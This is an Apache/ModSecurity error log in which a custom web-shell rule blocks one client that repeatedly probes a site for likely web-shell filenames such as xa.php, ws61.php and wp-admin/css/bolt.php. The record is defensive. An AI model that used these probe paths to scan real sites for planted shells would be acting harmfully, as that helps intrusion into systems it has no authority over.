[Mon Mar 02 11:00:01.242051 2026] [:error] [pid 23872:tid 23894] [client 172.190.142.176:38651] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/public/wp-blog.php"] [unique_id "aaT9MUzkQFuA2qBk8UPTRAAAAZM"]
[Mon Mar 02 11:00:01.942258 2026] [:error] [pid 31257:tid 31267] [client 172.190.142.176:42205] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/public/wp-blog.php"] [unique_id "aaT9Mf-JFLfishX45N9DsgAAAQQ"]
[Mon Mar 02 11:00:02.502909 2026] [:error] [pid 31257:tid 31286] [client 172.190.142.176:57345] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/public/wp-blog.php"] [unique_id "aaT9Mv-JFLfishX45N9DtwAAARc"]
[Mon Mar 02 11:00:03.301978 2026] [:error] [pid 23872:tid 23882] [client 172.190.142.176:25756] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aaT9M0zkQFuA2qBk8UPTSwAAAYc"]
[Mon Mar 02 11:00:03.859420 2026] [:error] [pid 23872:tid 23891] [client 172.190.142.176:32904] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aaT9M0zkQFuA2qBk8UPTTgAAAZA"]
[Mon Mar 02 11:00:04.479005 2026] [:error] [pid 23872:tid 23898] [client 172.190.142.176:57385] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aaT9NEzkQFuA2qBk8UPTVgAAAZc"]
[Mon Mar 02 11:00:05.168551 2026] [:error] [pid 31257:tid 31275] [client 172.190.142.176:33702] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aaT9Nf-JFLfishX45N9DzAAAAQw"]
[Mon Mar 02 11:00:05.842660 2026] [:error] [pid 28795:tid 28886] [client 172.190.142.176:63324] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aaT9NbROd53wZBkdI_exTAAAAJc"]
[Mon Mar 02 11:00:06.399322 2026] [:error] [pid 31257:tid 31267] [client 172.190.142.176:33141] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aaT9Nv-JFLfishX45N9D1gAAAQQ"]
[Mon Mar 02 11:00:06.860202 2026] [:error] [pid 31257:tid 31266] [client 172.190.142.176:52048] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aaT9Nv-JFLfishX45N9D2gAAAQM"]
[Mon Mar 02 11:00:07.478843 2026] [:error] [pid 31257:tid 31276] [client 172.190.142.176:45708] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aaT9N_-JFLfishX45N9D3gAAAQ0"]
[Mon Mar 02 11:00:08.000621 2026] [:error] [pid 23872:tid 23875] [client 172.190.142.176:39060] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tmpls.php"] [unique_id "aaT9N0zkQFuA2qBk8UPTZgAAAYA"]
[Mon Mar 02 11:00:08.582167 2026] [:error] [pid 23872:tid 23883] [client 172.190.142.176:42321] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tmpls.php"] [unique_id "aaT9OEzkQFuA2qBk8UPTawAAAYg"]
[Mon Mar 02 11:00:09.036842 2026] [:error] [pid 23872:tid 23899] [client 172.190.142.176:40284] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tmpls.php"] [unique_id "aaT9OUzkQFuA2qBk8UPTcgAAAZg"]
[Mon Mar 02 11:00:09.533270 2026] [:error] [pid 23872:tid 23884] [client 172.190.142.176:32936] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tmpls.php"] [unique_id "aaT9OUzkQFuA2qBk8UPTeQAAAYk"]
[Mon Mar 02 11:00:10.230408 2026] [:error] [pid 23872:tid 23889] [client 172.190.142.176:39207] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bsg-management/php.php"] [unique_id "aaT9OkzkQFuA2qBk8UPTgwAAAY4"]
[Mon Mar 02 11:00:10.705066 2026] [:error] [pid 23872:tid 23883] [client 172.190.142.176:52073] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bsg-management/php.php"] [unique_id "aaT9OkzkQFuA2qBk8UPTigAAAYg"]
[Mon Mar 02 11:00:11.170078 2026] [:error] [pid 31257:tid 31283] [client 172.190.142.176:33147] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bsg-management/php.php"] [unique_id "aaT9O_-JFLfishX45N9D4gAAARQ"]
[Mon Mar 02 11:00:11.616483 2026] [:error] [pid 28795:tid 28867] [client 172.190.142.176:40319] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bsg-management/php.php"] [unique_id "aaT9O7ROd53wZBkdI_exUAAAAIQ"]
[Mon Mar 02 11:00:12.337912 2026] [:error] [pid 28793:tid 28830] [client 172.190.142.176:28525] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/pouhg.php"] [unique_id "aaT9PA2_fxBANaHo1f5YyQAAABc"]
[Mon Mar 02 11:00:12.806443 2026] [:error] [pid 28793:tid 28807] [client 172.190.142.176:6935] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/pouhg.php"] [unique_id "aaT9PA2_fxBANaHo1f5YzgAAAAA"]
[Mon Mar 02 11:00:13.340958 2026] [:error] [pid 28795:tid 28863] [client 172.190.142.176:45753] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/pouhg.php"] [unique_id "aaT9PbROd53wZBkdI_exVQAAAIA"]
[Mon Mar 02 11:00:13.978455 2026] [:error] [pid 28794:tid 28858] [client 172.190.142.176:24426] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/pouhg.php"] [unique_id "aaT9PaVy2qpaelbUob15oQAAAFY"]
[Mon Mar 02 11:00:14.620820 2026] [:error] [pid 31257:tid 31285] [client 172.190.142.176:28517] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws61.php"] [unique_id "aaT9Pv-JFLfishX45N9D4wAAARY"]
[Mon Mar 02 11:00:15.123916 2026] [:error] [pid 28795:tid 28876] [client 172.190.142.176:45717] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws61.php"] [unique_id "aaT9P7ROd53wZBkdI_exWgAAAI0"]
[Mon Mar 02 11:00:15.569119 2026] [:error] [pid 23872:tid 23889] [client 172.190.142.176:52042] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws61.php"] [unique_id "aaT9P0zkQFuA2qBk8UPTmwAAAY4"]
[Mon Mar 02 11:00:16.091336 2026] [:error] [pid 23872:tid 23883] [client 172.190.142.176:23116] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws61.php"] [unique_id "aaT9QEzkQFuA2qBk8UPToQAAAYg"]
[Mon Mar 02 11:00:16.566628 2026] [:error] [pid 31257:tid 31274] [client 172.190.142.176:14038] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaT9QP-JFLfishX45N9D5QAAAQs"]
[Mon Mar 02 11:00:17.123536 2026] [:error] [pid 23872:tid 23887] [client 172.190.142.176:39413] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaT9QUzkQFuA2qBk8UPTpgAAAYw"]
[Mon Mar 02 11:00:17.753837 2026] [:error] [pid 23872:tid 23885] [client 172.190.142.176:1255] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaT9QUzkQFuA2qBk8UPTqgAAAYo"]
[Mon Mar 02 11:00:18.372142 2026] [:error] [pid 23872:tid 23883] [client 172.190.142.176:49316] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaT9QkzkQFuA2qBk8UPTrgAAAYg"]
[Mon Mar 02 11:00:18.896914 2026] [:error] [pid 28795:tid 28865] [client 172.190.142.176:63075] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/app.php"] [unique_id "aaT9QrROd53wZBkdI_exYAAAAII"]
[Mon Mar 02 11:00:19.330008 2026] [:error] [pid 23872:tid 23880] [client 172.190.142.176:44359] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/app.php"] [unique_id "aaT9Q0zkQFuA2qBk8UPTtgAAAYU"]
[Mon Mar 02 11:00:19.796263 2026] [:error] [pid 31257:tid 31284] [client 172.190.142.176:44412] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/app.php"] [unique_id "aaT9Q_-JFLfishX45N9D6gAAARU"]
[Mon Mar 02 11:00:20.326330 2026] [:error] [pid 31257:tid 31271] [client 172.190.142.176:63089] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/app.php"] [unique_id "aaT9RP-JFLfishX45N9D7QAAAQg"]
[Mon Mar 02 11:00:20.876443 2026] [:error] [pid 31257:tid 31264] [client 172.190.142.176:28513] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws59.php"] [unique_id "aaT9RP-JFLfishX45N9D9AAAAQE"]
[Mon Mar 02 11:00:21.388548 2026] [:error] [pid 31257:tid 31279] [client 172.190.142.176:25925] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws59.php"] [unique_id "aaT9Rf-JFLfishX45N9D-QAAARA"]
[Mon Mar 02 11:00:22.140698 2026] [:error] [pid 31257:tid 31265] [client 172.190.142.176:44354] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws59.php"] [unique_id "aaT9Rv-JFLfishX45N9D_AAAAQI"]
[Mon Mar 02 11:00:22.699963 2026] [:error] [pid 21575:tid 21598] [client 172.190.142.176:27736] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws59.php"] [unique_id "aaT9RirocdArcJqFfInDHwAAAVM"]
[Mon Mar 02 11:00:23.277142 2026] [:error] [pid 21575:tid 21588] [client 172.190.142.176:40318] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aaT9RyrocdArcJqFfInDIgAAAUk"]
[Mon Mar 02 11:00:24.091581 2026] [:error] [pid 21575:tid 21601] [client 172.190.142.176:42343] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aaT9SCrocdArcJqFfInDJgAAAVY"]
[Mon Mar 02 11:00:24.661239 2026] [:error] [pid 31257:tid 31272] [client 172.190.142.176:1221] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aaT9SP-JFLfishX45N9EAQAAAQk"]
[Mon Mar 02 11:00:25.524199 2026] [:error] [pid 21575:tid 21585] [client 172.190.142.176:38839] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aaT9SSrocdArcJqFfInDKQAAAUY"]
[Mon Mar 02 11:00:26.302155 2026] [:error] [pid 21575:tid 21600] [client 172.190.142.176:39409] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mamzi.php"] [unique_id "aaT9SirocdArcJqFfInDLgAAAVU"]
[Mon Mar 02 11:00:26.850125 2026] [:error] [pid 31257:tid 31264] [client 172.190.142.176:14039] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mamzi.php"] [unique_id "aaT9Sv-JFLfishX45N9ECwAAAQE"]
[Mon Mar 02 11:00:27.420155 2026] [:error] [pid 28794:tid 28840] [client 172.190.142.176:25977] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mamzi.php"] [unique_id "aaT9S6Vy2qpaelbUob15qwAAAEQ"]
[Mon Mar 02 11:00:28.251806 2026] [:error] [pid 31257:tid 31281] [client 172.190.142.176:12286] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mamzi.php"] [unique_id "aaT9TP-JFLfishX45N9EDwAAARI"]
[Mon Mar 02 11:00:28.950408 2026] [:error] [pid 28908:tid 28910] [client 172.190.142.176:63314] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaT9TIqJmC8ih_lQQnAOswAAAMA"]
[Mon Mar 02 11:00:29.572764 2026] [:error] [pid 31257:tid 31282] [client 172.190.142.176:27741] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaT9Tf-JFLfishX45N9EEQAAARM"]
[Mon Mar 02 11:00:30.273085 2026] [:error] [pid 28794:tid 28855] [client 172.190.142.176:28522] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaT9TqVy2qpaelbUob15rQAAAFM"]
[Mon Mar 02 11:00:31.065034 2026] [:error] [pid 31257:tid 31281] [client 172.190.142.176:46218] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaT9T_-JFLfishX45N9EGAAAARI"]
[Mon Mar 02 11:00:32.057060 2026] [:error] [pid 28794:tid 28853] [client 172.190.142.176:52041] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ae.php"] [unique_id "aaT9UKVy2qpaelbUob15rwAAAFE"]
[Mon Mar 02 11:00:32.788599 2026] [:error] [pid 28908:tid 28924] [client 172.190.142.176:1497] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ae.php"] [unique_id "aaT9UIqJmC8ih_lQQnAOuwAAAM4"]
[Mon Mar 02 11:00:33.620479 2026] [:error] [pid 28908:tid 28923] [client 172.190.142.176:42342] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ae.php"] [unique_id "aaT9UYqJmC8ih_lQQnAOvQAAAM0"]
[Mon Mar 02 11:00:34.434710 2026] [:error] [pid 28794:tid 28843] [client 172.190.142.176:39174] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ae.php"] [unique_id "aaT9UqVy2qpaelbUob15sQAAAEc"]
